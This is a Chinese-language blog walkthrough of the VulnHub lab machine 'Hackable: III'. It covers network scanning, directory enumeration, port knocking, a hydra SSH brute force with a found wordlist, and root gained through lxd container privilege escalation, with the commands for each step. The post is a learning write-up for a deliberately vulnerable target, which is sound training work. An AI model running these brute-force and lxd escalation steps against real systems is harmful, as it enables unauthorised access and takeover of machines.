VulnHub靶机_HACKABLE: III

靶机介绍

下载地址: http://www.vulnhub.com/entry/hackable-iii,720/
难度:中等

渗透过程

准备

将靶机下载下来,我这里使用的是virtualbox,下载的是.ova文件。下载之后用virtualbox打开,设置网络为桥接模式。

获取IP

使用arp-scan工具,我们得到靶机的IP为:192.168.1.106。

arp-scan -l

在这里插入图片描述

端口扫描
nmap -A -T4 -p 1-65535 192.168.1.106

在这里插入图片描述

这里我们看到开放了两个端口:22和80。其中,22端口的状态是“filtered”。nmap在端口扫描的时候会判断一下端口的状态。

Filtered:由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。

信息收集
  1. 由于靶机开放了80端口,我们访问它的http服务,如下图所示,是一张图片。
    在这里插入图片描述
    查看源代码,会发现两个信息:
信息1

账户登录网址:
在这里插入图片描述
打开这个网址,我们目前是没有账号和密码的信息的。
在这里插入图片描述

信息2

这里有一行注释:

"Please, jubiscleudo, don't forget to activate the port knocking when 
exiting your section, and tell the boss not to forget to approve the .jpg
 file - dev_suport@hackable3.com" 

这里我们获得了一个名字jubiscleudo,然后提醒他不要忘记激活端口碰撞,并且要让这个网站支持jpg文件。
在这里插入图片描述
2. 接下来,我使用dirb对网站的目录进行了扫描。我们对扫描出的网址一一进行访问。

dirb http://192.168.1.106

在这里插入图片描述

信息3

http://192.168.1.106/backup网址下我们得到了一个wordlist.txt。我们把它保存下来,之后可能会用于暴力破解。

信息4

http://192.168.1.106/config/这个网址下是一个1.txt文件,里面是一段base64编码的乱码。通过解码我们的到一个端口10000。
在这里插入图片描述

信息5

http://192.168.1.106/css/网址下有2.txt文件,里面是用brainfuck编码的乱码,解码之后是4444.
在这里插入图片描述
在这里插入图片描述

信息6

我们也可以用dirb扫描特殊文件,根据信息2这里专门扫一下jpg文件,扫到了一个3.jpg。
在这里插入图片描述
我尝试用exiftool查看,没有发现信息。然后哦使用隐写工具查看得到端口65535
在这里插入图片描述

信息7

http://192.168.1.106/login.php网址查看源代码。这里是说用‘user’,'pass’登录信息1中的登录网址,会执行这个php脚本,查看源代码如下。
在这里插入图片描述

端口碰撞

从信息2中我们得知这个网站使用了端口碰撞技术,那么,我们可以尝试用端口碰撞打开22端口。

端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。

也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。

我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。

这里,我们可以使用knock命令:

knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v

那现在我们把信息4—6收集到端口号带进去。再次端口扫描,22端口为open状态。

knock 192.168.1.106 10000 4444 65535

在这里插入图片描述

ssh登录

我们有一个用户名,然后我们需要知道ssh的密码。使用hydra进行暴力破解,这里还要用到信息3中获取的字典。得到密码。

hydra -l jubiscleudo -P wordlist.txt 192.168.1.106 ssh

在这里插入图片描述
在这里插入图片描述

首先在jubiscleudo文件夹下收集信息,除了看到一个企鹅,领英的网址,没有收获。
这里我们看到有两个用户文件夹,尝试用hydra破解密码没破解出来,气哦。
在这里插入图片描述
在网站的backup_config.php中,我们得到hackable_3的密码。
在这里插入图片描述
切换用户:
在这里插入图片描述

提权

查看hackable_3的id。
在这里插入图片描述
当当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限。

  1. 首先在本地下载好镜像,然后生成tar包,传到靶机中。
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder 
./build-alpine
python3 -m http.server 9000

在这里插入图片描述
2. 靶机段把tar包下载下来,然后加载到lxd中。

wget http://192.168.1.104:9000/alpine-v3.14-x86_64-20210831_0918.tar.gz
lxc image import ./alpine-v3.14-x86_64-20210831_0918.tar.gz
lxd init(一直回车就行)

在这里插入图片描述
这里lxc init后面跟的是image的Fingerprint。

lxc init 23d18b72258c ignite -c security.privileged=true 
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
 lxc start ignite
 lxc exec ignite /bin/sh

然后我们就获得了root权限。
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值